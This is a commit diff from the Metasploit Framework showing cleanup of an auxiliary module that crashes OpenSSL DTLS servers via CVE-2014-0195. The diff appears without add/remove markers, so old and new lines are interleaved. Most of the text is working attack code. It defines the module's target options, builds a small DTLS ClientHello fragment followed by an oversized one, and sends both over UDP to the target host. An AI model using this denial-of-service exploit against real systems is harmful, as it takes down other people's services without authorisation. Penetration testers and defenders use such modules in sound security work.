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metasploit-framework
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Do minor cleanup

unstable
jvazquez-r7 2014-06-09 13:23:56 -05:00
parent 06e45e8253
commit daf662b3c0
1 changed files with 14 additions and 14 deletions
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28
modules/auxiliary/dos/ssl/dtls_fragment_overflow.rb
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@ -8,36 +8,36 @@ require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Auxiliary::Dos
# include Msf::Exploit::Capture
include Exploit::Remote::Udp
def initialize(info = {})
super(update_info(info,
'Name' => 'OpenSSL DTLS Fragment Buffer Overflow DoS',
'Description' => %q{
This module performs a Denial of Service Attack against Datagram TLS in
OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h.
This occurs when a DTLS ClientHello message has multiple fragments and the
fragment lengths of later fragments are larger than that of the first, a
buffer overflow occurs, causing a DoS.
This module performs a Denial of Service Attack against Datagram TLS in
OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h.
This occurs when a DTLS ClientHello message has multiple fragments and the
fragment lengths of later fragments are larger than that of the first, a
buffer overflow occurs, causing a DoS.
},
'Author' => [
'Jon Hart <jon_hart[at]rapid7.com>', #original code
],
'Author' =>
[
'Jon Hart <jon_hart[at]rapid7.com>', #original code
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2014-0195' ],
['CVE', '2014-0195'],
['ZDI', '14-173'],
['BID', '67900']
],
'DisclosureDate' => 'Jun 05 2014'))
register_options([
Opt::RPORT(4433),
OptInt.new('VERSION', [true, "SSl/TLS version", 0xFEFF]),
OptAddress.new('SHOST', [false, 'This option can be used to specify a spoofed source address', nil])
OptInt.new('VERSION', [true, "SSl/TLS version", 0xFEFF])
], self.class)
deregister_options('FILTER','PCAPFILE', 'INTERFACE', 'SNAPLEN', 'TIMEOUT')
end
def build_tls_fragment(type, length, seq, frag_offset, frag_length, frag_body=nil)
@ -69,7 +69,7 @@ class Metasploit3 < Msf::Auxiliary
fragments = build_tls_fragment(1, 2, 0, 0, 1, 'C')
# add a large fragment where the length is significantly larger than that of the first
# TODO: you'll need to tweak the 2nd, 5th and 6th arguments to trigger the condition in some situations
fragments << build_tls_fragment(1, 1234, 0, 0, 123, 'A' * 1234)
fragments << build_tls_fragment(1, 1234, 0, 0, 123, Rex::Text.rand_text_alpha(1234))
message = build_tls_message(22, datastore['VERSION'], 0, 0, fragments)
connect_udp
print_status("Sending fragmented DTLS client hello packet to #{rhost}:#{rport}")